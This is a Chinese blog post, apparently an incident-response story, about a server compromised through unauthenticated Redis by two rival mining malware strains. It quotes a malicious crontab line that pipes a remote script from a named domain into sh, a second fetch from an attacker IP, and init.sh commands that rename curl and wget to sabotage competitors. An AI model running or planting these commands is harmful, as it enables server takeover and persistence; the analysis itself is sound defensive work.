睡前小故（ying）事（ji）

当病毒 A 遇到病毒 B，它们会打起来吗？

睡前接到告警，发现某服务器的 crontab 有一条这个内容：

REDIS0008�	redis-ver4.0.6�
�edis-bits�@�ctime½�_used-mem•�
 aof-preamble���Back1?
*/10 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh

嗐，一看就知道是 Redis 进来的...应急响应做多了，都没当初那种兴奋的感觉了...连上服务器之后，看了一下进程信息，只发现了一个 king 开头的进程，cpu 占用率很低。这就很奇怪了，这帮大黑阔们写工具、病毒，批量扫描外网服务入侵可不是闲着没事做的，不吸干你的性能怎么肯罢休？并且看了一下 cron 的日志（只有从 26 号开始的），curl 一直是失败的，原因是 curl not found，这就很有意思了。Google 了一下 d.powerofwish.com 相关的信息，发现全是通过 Redis 未授权访问进来的。查了一下记录，这个服务器前段时间的确扫出过一个 Redis 未授权访问，但是 HIDS 正好是今天才部署的，所以可能已经被入侵一段时间了。查看 /tmp/ 下的病毒创建时间，的确是对的上的。至此，所有信息都指向了 Redis 未授权访问，溯源差不多完成了：通过 Redis 未授权访问进入服务器，写 Crontab 做了持久化。

回到之前那个疑问：这帮大黑阔可不是什么好心人，虽然前段时间有个新闻，说有攻击者扫描全网入侵未授权的 es、MongoDB 等，成功直接清空所有的数据，还有个名字叫 MEOWBOT（喵星人？我汪星人什么时候能崛起！气抖冷！）。入侵服务器必有所图，一般都是挖门罗币，可是这个服务器并没有挖矿进程再运行。既然如此，那莫非是想将服务器当做肉鸡？于是我检查了一下 ssh key，发现 authorized_keys 新增了几条，特征是 root@u17 结尾，随后又在 root 的 crontab 配置文件中发现了 curl http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh。经过搜索，发现这居然是另一种病毒，也是利用 Redis 未授权入侵的...

那就 curl 下来瞅瞅呗。init.sh 代码还稍有点多，实际上做的事情就是：杀掉其他挖矿病毒，将常用命令替换，例如curl换成cur这样：

mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

而 init.sh 的击杀目标里真好有 pm.sh相关的文件！

那有意思的就来了，所以服务器没有运行挖矿病毒，是不是因为 pm.sh 的进程与相关恶意文件（kin 开头）已经被 init.sh 全干掉了呢？在我溯源文件的修改时间定位入侵顺序，理清楚时间线之后，我已经脑补出一部大片了：

pm.sh（就叫小 p 了）是第一个通过 redis 未授权进来的病毒，首先判断是不是存在一个 bin 文件，如不存在，就下载它，然后执行这个 bin 文件。每隔 10 分钟它就会通过 crontab 运行一遍上面的流程。

init.sh（就叫小 i 了）是第二个通过 redis 未授权进来的病毒，它也是通过 crontab 10 分钟运行一次，但是它还替换了 curl、杀死了自己的竞争者。（改一改都可以当做杀毒脚本了[手动狗头]）

虽然 小 p 比小 i 早进入到服务器，获得了 root 权限，但是小 p 并没有挤兑同行与做自我保护，从而被后来居上的小 i 清空了 小 p 的所有病毒文件，并且替换了多个可用于下载的命令，导致了小 p 无法重新下载（执行 curl）（这解释了为何 cron 日志告诉我们小 p 的 curl 其实没有执行成功，且又有成功下载的文件）。小 i 斩草除根，实乃冷酷杀手的典范。在排查的过程中，我还发现了另一个疑似残留的病毒文件：/tmp/redis2，同样在小 i 的击杀名单上。至于它到底是小 p 的，还是第三种病毒，已经无从考证了，因为它早已经被小 i 轰杀至渣了...要不是因为入侵的是我们公司的服务器，我真想给小 i 鼓个掌。

清理完毕，夜也深了，这个没有硝烟的战场最后并没有赢家。

呵，黑阔。

来呀快活呀